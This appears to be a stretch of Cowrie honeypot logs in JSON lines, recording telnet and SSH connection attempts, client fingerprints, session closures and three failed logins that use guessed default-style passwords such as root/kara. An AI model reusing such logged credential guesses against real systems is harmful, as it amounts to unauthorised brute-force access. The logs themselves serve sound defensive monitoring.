{"eventid":"cowrie.session.closed","duration":37.96061682701111,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:09:52.157550Z","src_ip":"50.6.8.71","session":"84a38aead76f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.94.225.234","src_port":64902,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f4595a92360","protocol":"telnet","message":"New connection: 181.94.225.234:64902 (159.203.135.109:23) [session: 9f4595a92360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:09:52.631508Z"}
{"eventid":"cowrie.session.closed","duration":36.21066617965698,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:09:56.557290Z","src_ip":"50.6.8.71","session":"71cc32a4c2fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.22442150115967,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:09:59.411773Z","src_ip":"50.6.8.71","session":"d09d061d9a3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.033862590789795,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:10:00.160796Z","src_ip":"50.6.8.71","session":"b10888d4e2ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.96770238876343,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:10:15.512423Z","src_ip":"50.6.8.71","session":"4f8cbb003e1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58424,"dst_ip":"10.17.0.5","dst_port":23,"session":"6339608ca69d","protocol":"telnet","message":"New connection: 50.6.8.71:58424 (10.17.0.5:23) [session: 6339608ca69d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:10:19.776515Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58436,"dst_ip":"10.17.0.5","dst_port":23,"session":"749b9d5e5968","protocol":"telnet","message":"New connection: 50.6.8.71:58436 (10.17.0.5:23) [session: 749b9d5e5968]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:10:19.943755Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":57018,"dst_ip":"159.203.135.109","dst_port":22,"session":"67662fe0c374","protocol":"ssh","message":"New connection: 185.236.22.41:57018 (159.203.135.109:22) [session: 67662fe0c374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:10:21.428289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:10:21.433777Z","src_ip":"185.236.22.41","session":"67662fe0c374","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:10:21.552796Z","src_ip":"185.236.22.41","session":"67662fe0c374","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:10:22.192008Z","src_ip":"185.236.22.41","session":"67662fe0c374","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:10:23.462301Z","src_ip":"185.236.22.41","session":"67662fe0c374","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.46274471282959,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:10:50.239219Z","src_ip":"50.6.8.71","session":"6339608ca69d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.514270305633545,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:10:53.457891Z","src_ip":"50.6.8.71","session":"749b9d5e5968","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58140,"dst_ip":"10.17.0.5","dst_port":23,"session":"e11cf27d29ac","protocol":"telnet","message":"New connection: 50.6.8.71:58140 (10.17.0.5:23) [session: e11cf27d29ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:10:55.137253Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40570,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4ea7962fc29","protocol":"telnet","message":"New connection: 50.6.8.71:40570 (10.17.0.5:23) [session: b4ea7962fc29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:11:14.010588Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":44310,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f36f7e54546","protocol":"telnet","message":"New connection: 50.6.8.71:44310 (10.17.0.5:23) [session: 1f36f7e54546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:11:18.490339Z"}
{"eventid":"cowrie.session.closed","duration":31.649060487747192,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:11:26.786214Z","src_ip":"50.6.8.71","session":"e11cf27d29ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36518,"dst_ip":"10.17.0.5","dst_port":23,"session":"77363074548e","protocol":"telnet","message":"New connection: 50.6.8.71:36518 (10.17.0.5:23) [session: 77363074548e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:11:39.904313Z"}
{"eventid":"cowrie.session.closed","duration":120.0050938129425,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:11:47.631675Z","src_ip":"181.94.225.234","session":"116fd29d959a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.94.225.234","src_port":14559,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e8c43044f7a","protocol":"telnet","message":"New connection: 181.94.225.234:14559 (159.203.135.109:23) [session: 9e8c43044f7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:11:49.028088Z"}
{"eventid":"cowrie.session.closed","duration":30.7014057636261,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:11:49.191610Z","src_ip":"50.6.8.71","session":"1f36f7e54546","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00421452522278,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:11:52.635566Z","src_ip":"181.94.225.234","session":"9f4595a92360","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.87023735046387,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:11:53.880705Z","src_ip":"50.6.8.71","session":"b4ea7962fc29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.94.225.234","src_port":15126,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fead9d3c87a","protocol":"telnet","message":"New connection: 181.94.225.234:15126 (159.203.135.109:23) [session: 8fead9d3c87a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:11:54.002138Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.94.225.234","src_port":14974,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9122120cb45","protocol":"telnet","message":"New connection: 181.94.225.234:14974 (159.203.135.109:23) [session: a9122120cb45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:11:54.642159Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":51858,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c2d3e3ee7d5","protocol":"telnet","message":"New connection: 50.6.8.71:51858 (10.17.0.5:23) [session: 7c2d3e3ee7d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:11:55.676050Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":51844,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8ed8f831465","protocol":"telnet","message":"New connection: 50.6.8.71:51844 (10.17.0.5:23) [session: f8ed8f831465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:11:58.172232Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59696,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3aee0c70007","protocol":"telnet","message":"New connection: 50.6.8.71:59696 (10.17.0.5:23) [session: e3aee0c70007]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:12:01.234756Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59704,"dst_ip":"10.17.0.5","dst_port":23,"session":"097ec81a5bf1","protocol":"telnet","message":"New connection: 50.6.8.71:59704 (10.17.0.5:23) [session: 097ec81a5bf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:12:02.845716Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49548,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1a364b8b4e3","protocol":"telnet","message":"New connection: 50.6.8.71:49548 (10.17.0.5:23) [session: b1a364b8b4e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:12:08.928642Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49550,"dst_ip":"10.17.0.5","dst_port":23,"session":"37c231ea4a6d","protocol":"telnet","message":"New connection: 50.6.8.71:49550 (10.17.0.5:23) [session: 37c231ea4a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:12:09.291590Z"}
{"eventid":"cowrie.session.closed","duration":30.90394926071167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:12:10.808193Z","src_ip":"50.6.8.71","session":"77363074548e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"4.210.91.174","src_port":1024,"dst_ip":"159.203.135.109","dst_port":22,"session":"d534b4937c5e","protocol":"ssh","message":"New connection: 4.210.91.174:1024 (159.203.135.109:22) [session: d534b4937c5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:12:21.497831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:12:21.502631Z","src_ip":"4.210.91.174","session":"d534b4937c5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:12:21.570300Z","src_ip":"4.210.91.174","session":"d534b4937c5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:12:21.885112Z","src_ip":"4.210.91.174","session":"d534b4937c5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41606,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfdb6cedeac7","protocol":"telnet","message":"New connection: 50.6.8.71:41606 (10.17.0.5:23) [session: cfdb6cedeac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:12:22.287654Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41610,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c8e51ccbca6","protocol":"telnet","message":"New connection: 50.6.8.71:41610 (10.17.0.5:23) [session: 0c8e51ccbca6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:12:22.375422Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:12:22.955907Z","src_ip":"4.210.91.174","session":"d534b4937c5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41096,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d99de962ad4","protocol":"telnet","message":"New connection: 50.6.8.71:41096 (10.17.0.5:23) [session: 8d99de962ad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:12:26.564605Z"}
{"eventid":"cowrie.session.closed","duration":32.42095875740051,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:12:30.593022Z","src_ip":"50.6.8.71","session":"f8ed8f831465","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41106,"dst_ip":"10.17.0.5","dst_port":23,"session":"d963cb6d476d","protocol":"telnet","message":"New connection: 50.6.8.71:41106 (10.17.0.5:23) [session: d963cb6d476d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:12:31.360642Z"}
{"eventid":"cowrie.session.closed","duration":36.7464816570282,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:12:32.422430Z","src_ip":"50.6.8.71","session":"7c2d3e3ee7d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.549100637435913,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:12:32.783721Z","src_ip":"50.6.8.71","session":"e3aee0c70007","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.47850704193115,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:12:35.324084Z","src_ip":"50.6.8.71","session":"097ec81a5bf1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.604561805725098,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:12:40.533078Z","src_ip":"50.6.8.71","session":"b1a364b8b4e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48328,"dst_ip":"10.17.0.5","dst_port":23,"session":"56715550624c","protocol":"telnet","message":"New connection: 50.6.8.71:48328 (10.17.0.5:23) [session: 56715550624c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:12:42.140183Z"}
{"eventid":"cowrie.session.closed","duration":36.51447558403015,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:12:45.805955Z","src_ip":"50.6.8.71","session":"37c231ea4a6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52800,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd504de29868","protocol":"telnet","message":"New connection: 50.6.8.71:52800 (10.17.0.5:23) [session: fd504de29868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:12:47.473772Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.77.172.159","src_port":59156,"dst_ip":"159.203.135.109","dst_port":22,"session":"92666b7b99c4","protocol":"ssh","message":"New connection: 200.77.172.159:59156 (159.203.135.109:22) [session: 92666b7b99c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:12:51.171432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:12:51.175600Z","src_ip":"200.77.172.159","session":"92666b7b99c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:12:51.251148Z","src_ip":"200.77.172.159","session":"92666b7b99c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kara","message":"login attempt [root/kara] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:12:51.581727Z","src_ip":"200.77.172.159","session":"92666b7b99c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52816,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a1c4148cddb","protocol":"telnet","message":"New connection: 50.6.8.71:52816 (10.17.0.5:23) [session: 1a1c4148cddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:12:51.866336Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:12:52.658738Z","src_ip":"200.77.172.159","session":"92666b7b99c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52818,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c7f9cd6d11a","protocol":"telnet","message":"New connection: 50.6.8.71:52818 (10.17.0.5:23) [session: 0c7f9cd6d11a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:12:53.659977Z"}
{"eventid":"cowrie.session.closed","duration":32.516287326812744,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:12:54.891619Z","src_ip":"50.6.8.71","session":"0c8e51ccbca6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49530,"dst_ip":"10.17.0.5","dst_port":23,"session":"e43851857eee","protocol":"telnet","message":"New connection: 50.6.8.71:49530 (10.17.0.5:23) [session: e43851857eee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:12:56.690757Z"}
{"eventid":"cowrie.session.closed","duration":36.02800989151001,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:12:58.315562Z","src_ip":"50.6.8.71","session":"cfdb6cedeac7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49538,"dst_ip":"10.17.0.5","dst_port":23,"session":"092252fc4cbd","protocol":"telnet","message":"New connection: 50.6.8.71:49538 (10.17.0.5:23) [session: 092252fc4cbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:12:58.606304Z"}
{"eventid":"cowrie.session.closed","duration":32.48588562011719,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:12:59.050394Z","src_ip":"50.6.8.71","session":"8d99de962ad4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01056456565857,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:02.371097Z","src_ip":"50.6.8.71","session":"d963cb6d476d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.127.62.250","src_port":33948,"dst_ip":"10.17.0.5","dst_port":22,"session":"820bd045c782","protocol":"ssh","message":"New connection: 199.127.62.250:33948 (10.17.0.5:22) [session: 820bd045c782]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:17.182296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:13:17.187908Z","src_ip":"199.127.62.250","session":"820bd045c782","protocol":"ssh"}
